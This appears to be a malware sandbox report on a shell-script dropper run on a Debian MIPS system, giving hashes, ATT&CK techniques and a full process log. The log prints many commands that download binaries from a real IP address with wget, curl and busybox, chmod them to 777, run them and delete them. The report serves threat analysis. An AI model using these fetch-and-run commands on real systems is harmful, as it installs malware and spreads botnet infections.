39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87

Analysis

max time kernel
150s
max time network
152s
platform
debian-9_mips
resource
debian9-mipsbe-20240611-en
resource tags

arch:mipsimage:debian9-mipsbe-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
12/11/2024, 09:45

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87.sh
Size 10KB
Sample241112-lref4ssrbm
SHA256 39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87
MD5 fd711d12715626060b484e86edd2898c
SHA1 e0d5e608d178e2d258e3d8f5f49b6f16eaa8addb
SHA512 541b61ac6b30943cd86da6f6926828f09c16b51c92d3cf0fd139d47f8dd40865d48fb7e28d33a9a4d8feb81dd9187d01a546b79406e3224d766d4ce32359c344
SSDEEP 192:8CyC1xoHr6r2rur/rPrmh3vJWitMh/Pf62/tDUAojDNUaawTvLUAojDuaawTv8+3:8Hmq6bzqFMh/Pf62VDUAojDNpUAojDnD
MD5 SHA1 SHA512 SSDEEP

Score

7^/10

defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 18 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
898	chmod
916	chmod
838	chmod
862	chmod
892	chmod
922	chmod
832	chmod
856	chmod
880	chmod
868	chmod
886	chmod
904	chmod
742	chmod
792	chmod
850	chmod
844	chmod
874	chmod
910	chmod

Executes dropped EXE 18 IoCs

Reads runtime system information 18 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 10 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
897	busybox
899	1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
900	rm
907	wget
908	curl
909	busybox
895	wget
896	curl
911	1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
912	rm

Writes file to tmp directory 18 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f	curl
File opened for modification	/tmp/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV	curl
File opened for modification	/tmp/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq	curl
File opened for modification	/tmp/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg	curl
File opened for modification	/tmp/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN	curl
File opened for modification	/tmp/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI	curl
File opened for modification	/tmp/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM	curl
File opened for modification	/tmp/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w	curl
File opened for modification	/tmp/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62	curl
File opened for modification	/tmp/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv	curl
File opened for modification	/tmp/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF	curl
File opened for modification	/tmp/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg	curl
File opened for modification	/tmp/m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC	curl
File opened for modification	/tmp/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI	curl
File opened for modification	/tmp/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq	curl
File opened for modification	/tmp/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI	curl
File opened for modification	/tmp/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz	curl
File opened for modification	/tmp/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w	curl

/tmp/39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87.sh
/tmp/39fb14741537e8728399cf3078e561949daded071689046ef17ce62c14d3bb87.sh
1⤵
PID:711
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:714
- /usr/bin/wget
  wget http://216.126.231.240/bins/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  PID:717
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  PID:741
- /bin/chmod
  chmod 777 E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  - File and Directory Permissions Modification
  PID:742
- /tmp/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  ./E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  - Executes dropped EXE
  PID:743
- /bin/rm
  rm E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
  2⤵
  PID:744
- /usr/bin/wget
  wget http://216.126.231.240/bins/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  PID:745
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:760
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  PID:770
- /bin/chmod
  chmod 777 Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  - File and Directory Permissions Modification
  PID:792
- /tmp/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  ./Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  - Executes dropped EXE
  PID:793
- /bin/rm
  rm Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
  2⤵
  PID:795
- /usr/bin/wget
  wget http://216.126.231.240/bins/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  PID:796
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:827
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  PID:828
- /bin/chmod
  chmod 777 Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  - File and Directory Permissions Modification
  PID:832
- /tmp/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  ./Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  - Executes dropped EXE
  PID:833
- /bin/rm
  rm Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
  2⤵
  PID:834
- /usr/bin/wget
  wget http://216.126.231.240/bins/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  PID:835
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:836
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  PID:837
- /bin/chmod
  chmod 777 ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  - File and Directory Permissions Modification
  PID:838
- /tmp/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  ./ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  - Executes dropped EXE
  PID:839
- /bin/rm
  rm ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
  2⤵
  PID:840
- /usr/bin/wget
  wget http://216.126.231.240/bins/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  PID:841
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:842
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  PID:843
- /bin/chmod
  chmod 777 Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  - File and Directory Permissions Modification
  PID:844
- /tmp/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  ./Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  - Executes dropped EXE
  PID:845
- /bin/rm
  rm Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
  2⤵
  PID:846
- /usr/bin/wget
  wget http://216.126.231.240/bins/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  PID:847
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:848
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  PID:849
- /bin/chmod
  chmod 777 sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  - File and Directory Permissions Modification
  PID:850
- /tmp/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  ./sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  - Executes dropped EXE
  PID:851
- /bin/rm
  rm sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
  2⤵
  PID:852
- /usr/bin/wget
  wget http://216.126.231.240/bins/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  PID:853
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:854
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  PID:855
- /bin/chmod
  chmod 777 0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  - File and Directory Permissions Modification
  PID:856
- /tmp/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  ./0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  - Executes dropped EXE
  PID:857
- /bin/rm
  rm 0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
  2⤵
  PID:858
- /usr/bin/wget
  wget http://216.126.231.240/bins/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  PID:859
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:860
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  PID:861
- /bin/chmod
  chmod 777 AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  - File and Directory Permissions Modification
  PID:862
- /tmp/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  ./AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  - Executes dropped EXE
  PID:863
- /bin/rm
  rm AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
  2⤵
  PID:864
- /usr/bin/wget
  wget http://216.126.231.240/bins/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  PID:865
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:866
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  PID:867
- /bin/chmod
  chmod 777 5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  - File and Directory Permissions Modification
  PID:868
- /tmp/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  ./5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  - Executes dropped EXE
  PID:869
- /bin/rm
  rm 5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
  2⤵
  PID:870
- /usr/bin/wget
  wget http://216.126.231.240/bins/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  PID:871
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  PID:873
- /bin/chmod
  chmod 777 pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  - File and Directory Permissions Modification
  PID:874
- /tmp/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  ./pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  - Executes dropped EXE
  PID:875
- /bin/rm
  rm pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  PID:876
- /usr/bin/wget
  wget http://216.126.231.240/bins/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  PID:877
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:878
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  PID:879
- /bin/chmod
  chmod 777 FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  ./FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  - Executes dropped EXE
  PID:881
- /bin/rm
  rm FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  PID:882
- /usr/bin/wget
  wget http://216.126.231.240/bins/m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC
  2⤵
  PID:883
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:884
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC
  2⤵
  PID:885
- /bin/chmod
  chmod 777 m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC
  2⤵
  - File and Directory Permissions Modification
  PID:886
- /tmp/m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC
  ./m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC
  2⤵
  - Executes dropped EXE
  PID:887
- /bin/rm
  rm m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC
  2⤵
  PID:888
- /usr/bin/wget
  wget http://216.126.231.240/bins/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  PID:889
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:890
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  PID:891
- /bin/chmod
  chmod 777 rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  ./rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  - Executes dropped EXE
  PID:893
- /bin/rm
  rm rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  PID:894
- /usr/bin/wget
  wget http://216.126.231.240/bins/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - System Network Configuration Discovery
  PID:895
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - System Network Configuration Discovery
  PID:897
- /bin/chmod
  chmod 777 1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - File and Directory Permissions Modification
  PID:898
- /tmp/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  ./1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:899
- /bin/rm
  rm 1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - System Network Configuration Discovery
  PID:900
- /usr/bin/wget
  wget http://216.126.231.240/bins/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  PID:901
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:902
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  PID:903
- /bin/chmod
  chmod 777 rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  ./rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  - Executes dropped EXE
  PID:905
- /bin/rm
  rm rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
  2⤵
  PID:906
- /usr/bin/wget
  wget http://216.126.231.240/bins/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - System Network Configuration Discovery
  PID:907
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:908
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - System Network Configuration Discovery
  PID:909
- /bin/chmod
  chmod 777 1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - File and Directory Permissions Modification
  PID:910
- /tmp/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  ./1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:911
- /bin/rm
  rm 1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
  2⤵
  - System Network Configuration Discovery
  PID:912
- /usr/bin/wget
  wget http://216.126.231.240/bins/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  PID:913
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:914
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  PID:915
- /bin/chmod
  chmod 777 pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  - File and Directory Permissions Modification
  PID:916
- /tmp/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  ./pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  - Executes dropped EXE
  PID:917
- /bin/rm
  rm pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
  2⤵
  PID:918
- /usr/bin/wget
  wget http://216.126.231.240/bins/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  PID:919
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  - Reads runtime system information
  - Writes file to tmp directory
  PID:920
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  PID:921
- /bin/chmod
  chmod 777 FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  - File and Directory Permissions Modification
  PID:922
- /tmp/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  ./FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  - Executes dropped EXE
  PID:923
- /bin/rm
  rm FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
  2⤵
  PID:924
- /usr/bin/wget
  wget http://216.126.231.240/bins/m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC
  2⤵
  PID:925

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN

Path /tmp/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
Size 153B
SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
MD5 998368d7c95ea4293237f2320546e440
SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
MD5 SHA1 SHA512

Submit Download

ioc	pid	Process
/tmp/E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN	743	E7ynDO93Ytp1P86NVTTPFiq2IUlWBRtxWN
/tmp/Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62	793	Ay9V5p9mNrSsKQOGuwLkL8q3wC08AhER62
/tmp/Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI	833	Llo1300afFJsOaVxlVmLWIFQU8D2pj9wMI
/tmp/ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f	839	ADlb8D8TlijrrLudSEDoG3TUIbJRkum04f
/tmp/Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz	845	Sgwg7UWSmqwBNCNp2dHvfWoxFyffnVnLaz
/tmp/sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM	851	sQTdvl7byTScUPHHLnkuKrfjUTKeds1BUM
/tmp/0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv	857	0twAo10df9dcdjT9Mw4rn5r4u0lf0edwlv
/tmp/AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF	863	AlJNXJouWfrbEk0UC7utbmKhDcFqD0hJVF
/tmp/5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV	869	5bKDNQV1Lcaz1c1J0TjFOkprqKdBviWZTV
/tmp/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg	875	pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
/tmp/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w	881	FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w
/tmp/m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC	887	m7eXPeOKPH4dlxX5iQmmVl2xzt84WTDBJC
/tmp/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI	893	rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
/tmp/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq	899	1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
/tmp/rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI	905	rsZBPWaHL5zr9OufRw8fhWXLLZUftYyDKI
/tmp/1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq	911	1HIvU7Kt2pZiIuU52271IPb4UbyB00jBBq
/tmp/pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg	917	pjdu60x7ZmE7yTSCxKqVhUIBnpN7HWgasg
/tmp/FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w	923	FUx0w9YnI4iGtLKfubvA0jHKU4K0E7rC0w